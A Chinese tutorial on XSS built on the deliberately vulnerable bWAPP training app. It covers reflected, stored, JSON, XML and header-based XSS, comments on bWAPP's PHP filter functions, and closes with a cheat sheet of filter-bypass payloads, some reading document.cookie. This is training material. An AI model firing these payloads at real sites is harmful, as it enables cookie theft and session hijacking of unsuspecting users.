跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击
背景
这个系列有很多题,但是其实考察的相近,类似的就不在多说,我们来看吧。主要分几个点来讲:
- 反射型
- 存储型
- JSON
- XM
- 头部字段相关
分类介绍
反射型
在请求中构造了XSS的Payload,一般又是受害者点击导致受害者的客户端被攻击。例如:http://172.16.204.213/bWAPP/xss_get.php?firstname=<script>alert(document.cookie)</script>&lastname=2&form=submit

存储型
一般在博客留言板、评论、个人信息维护等地方容易存在,就是用户构造XSS的Payload保存在数据库中,一旦用户访问该页面,则中招。


JSON型
没有什么太大的不同,注意构造一下Payload,闭合标签即可,Payload:"</script><script>alert(1)</script><script>


XML型
在XML解析payload需要注意<>两个字符需要使用HTML实体编码。
例如,这样
<img src=1 onerror="alert(document.cookie)">

头部字段相关
其实就是值HTTP的很多头部字段都可以XSS,直接构造XSS的Payload的例如Cookie啊,自定义头部字段吧啊,Referer等等。观察一下头部字段那些数据会输出到前端页面上,或者对referer或者location等字段进行控制,跳转到一个有XSS的页面。
XSS防御函数、过滤、绕过
防御函数
//单纯过滤<>,对编码都没有检测,所以做一个url编码就绕过了。
function xss_check_1($data)
{
// Converts only "<" and ">" to HTLM entities
$input = str_replace("<", "<", $data);
$input = str_replace(">", ">", $input);
// Failure is an option
// Bypasses double encoding attacks
// <script>alert(0)</script>
// %3Cscript%3Ealert%280%29%3C%2Fscript%3E
// %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E
$input = urldecode($input);
return $input;
}
//字符转成HTML实体,防御还可以,但是注意该函数的第二个参数选项ENT_QUOTES,编码单双引号,也不是不能绕过。
function xss_check_2($data)
{
// htmlentities - converts all applicable characters to HTML entities
return htmlentities($data, ENT_QUOTES);
}
//把&、<、>、"、'五个符号转成HTML实体
function xss_check_3($data, $encoding = "UTF-8")
{
// htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&'
// '"' (double quote) becomes '"' when ENT_NOQUOTES is not set
// "'" (single quote) becomes ''' (or ') only when ENT_QUOTES is set
// '<' (less than) becomes '<'
// '>' (greater than) becomes '>'
return htmlspecialchars($data, ENT_QUOTES, $encoding);
}
//中级难度的防御,addslashes,转义单双引号和反斜杠,但是不使用单双引号的,防不住的。
function xss_check_4($data)
{
// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!!
return addslashes($data);
}
绕过
//一般payload
<IMG onmouseover=”alert(‘xxs’)”>
//绕过过滤单双引号的
<script>alert(document.cookie)</script>
<img src=1 onerror=alert(1)>
<img src=javascript:alert(1)>//伪协议
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
//绕过关键字检查,大小写变化和无意义(注释、空字符、空格、回车、tab)截断
<ScrIpt>Aler/**/t(1)</ScRipt>
<img src= "javascript: alert(/xss/); width=100>
<scri%00pt>alert(1);</scri%00pt>
<a href="javascript:alert('test')">link</a>//规避关键字
//长度限制
<b oncut=alert()>
<q/oncut=alert(1)>
//绕过尖括号检查,编码、多重编码
%3cscript%3ealert(1)%3c%2fscript%3e
//标签检查,一重去除标签
<scr<script>ipt>alert("XSS")</scr<script>ipt>
/*闭合标签
>
'> 或者 ">
' 或者 "
标签闭合
;
*/
//终极过滤
<IMG SRC=javascript:alert('XSS')>
可以进行xss的标签
<script>
<img>
<div>
<a>
<b>
<iframe>
<video>
<audio>
<svg>
...
跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击的更多相关文章
- 跟bWAPP学WEB安全(PHP代码)--HTML注入和iFrame注入
背景 这里讲解HTML注入和iFrame注入,其他的本质都是HTML的改变.那么有人会问,XSS与HTML注入有啥区别呢?其实本质上都是没有区别的,改变前端代码,来攻击客户端,但是XSS可以理解为注入 ...
- 【安全测试】Web应用安全之XSS跨站脚本攻击漏洞
前言 以前都只是在各类文档中见到过XSS,也进行过相关的学习,但是都是一知半解,过了一段时间就忘了. 前几天我们收到了了一份标题为<XX账号昵称参数中存在存储XSS漏洞>的报告文档,来源是 ...
- 跟bWAPP学WEB安全(PHP代码)--终结篇:文件目录遍历、文件上传、SSRF、CSRF、XXE、文件包含
前言 过年过的很不顺,家里领导和我本人接连生病,年前腊月29才都治好出院,大年初六家里的拉布拉多爱犬又因为细小医治无效离开了,没能过年回家,花了好多钱,狗狗还离世了.所以也就没什么心思更新博客.今天初 ...
- 跟bWAPP学WEB安全(PHP代码)--OS命令注入
背景 这是温故知新的一个系列,也是重新拾起WEB安全的一个系列,同时希望能稍微有点对初学者的帮助.第一篇先来讲讲OS命令注入 bWAPP里面有两个页面也就是两个漏洞,来验证OS命令注入.一个是有回显的 ...
- 跟bWAPP学WEB安全(PHP代码)--认证绕过与会话管理
背景 这里主要是代码逻辑问题,而不是代码使用函数的问题,因此在这个里面就不粘贴具体代码了,而是分类介绍下bWAPP中涉及的安全问题: 验证码问题 找回问题 账号口令问题 Cookies问题 Sessi ...
- 跟bWAPP学WEB安全(PHP代码)--SQL注入的一些技巧
背景 模拟环境还是 bWAPP,只不过这个bWAPP的SQL注入有点多,一一写意义不大,在这边就利用这个环境来尝试一些SQL注入的技巧.并研究下PHP的防御代码. 普通的bWAPPSQL注入的简单介绍 ...
- 跟bWAPP学WEB安全(PHP代码)--SSL(Server-Side-Include)漏洞
什么是Server-Side-Include漏洞 服务端包含漏洞是指发送指令到服务器,服务器会将指令运行完,把运行结果包含在返回文件中发送给你.利用这种漏洞可以获取服务端的信息甚至执行命令,这样的指令 ...
- 跟bWAPP学WEB安全(PHP代码)--PHP代码注入
---恢复内容开始--- 背景 今天我们换一个方式来分析这个漏洞,从渗透的角度去搞. 渗透过程 测试漏洞 先来看看,观察URL是:http://192.168.195.195/bWAPP/phpi.p ...
- 跟bWAPP学WEB安全(PHP代码)--邮件头和LDAP注入
背景 由于时间限制和这俩漏洞也不是特别常用,在这里就不搭建环境了,我们从注入原来和代码审计的角度来看看. 邮件头注入 注入原理: 这个地方首先要说一下邮件的结构,分为信封(MAIL FROM.RCPT ...
随机推荐
- [leetcode]Decode Ways @ Python
原题地址:https://oj.leetcode.com/problems/decode-ways/ 题意: A message containing letters from A-Z is bein ...
- 读书笔记《疯狂人类进化史》,第五章,关于xing ai这件事
像人类这样沉迷于交配的却少之又少--传宗接代并不需要无休止的xing ai,这种小事只要在发情期做几次就可以了.在其他动物眼里,人类简直"淫荡至极",他们在床上花费大量时间 ...
- linux性能采用工具oprofile使用
1.先收藏几篇博文,先解决问题,周末继续. http://www.cnblogs.com/bangerlee/archive/2012/08/30/2659435.html http://blog.s ...
- IOS Using UIAlertView to show alerts
UIAlertView in other words, it's a dialog box. You want to show a message or ask user to confirm an ...
- 【T01】理解面向连接和无连接协议之间的区别
1.面向连接和无连接指的是协议,本质区别在于:对于无连接协议来说,每个分组的处理都独立于其他的分组. 而对于面向连接的协议,协议实现维护了当前分组与后继分组有关的状态信息. 2.无连接就是指udp,分 ...
- ubuntu16 64位 编译64位程序和32位程序
安装了ubuntu16 64位的系统,想在该环境下用gcc编译64位和32位的程序 默认已经安装了64位环境的gcc 1. 首先确认安装的环境是不是64位的 cocoa@cocoaUKlyn:~/De ...
- mysql和redis的区别
一..redis和mysql的区别总结 (1)类型上 从类型上来说,mysql是关系型数据库,redis是缓存数据库 (2)作用上 mysql用于持久化的存储数据到硬盘, ...
- windows下vbs脚本隐藏控制台
每次想写python代码时,都需要打开IDE进行编写,并且需要创建许多小文件.如果使用jupyter就能够直接书写.但是jupyter需要手动通过控制台打开,这不够方便.通过把jupyter note ...
- 一起SQL引发OOM的解决思路与过程(转载)
在TOMCAT WEB程序的运行过程中,突然触发了内存溢出错误,检查Tomcat的localhost日志,找到如下信息: java.lang.OutOfMemoryError: Java heap s ...
- php验证码--图片
这里我们介绍图片验证码的制作,有关字符验证码能够參考下面文章: 点击打开链接 图片验证码的制作分三步: 1.制作图片库 2.随机选取一张图片 3.输出图片内容 代码例如以下(这里为了方便我直接用的本地 ...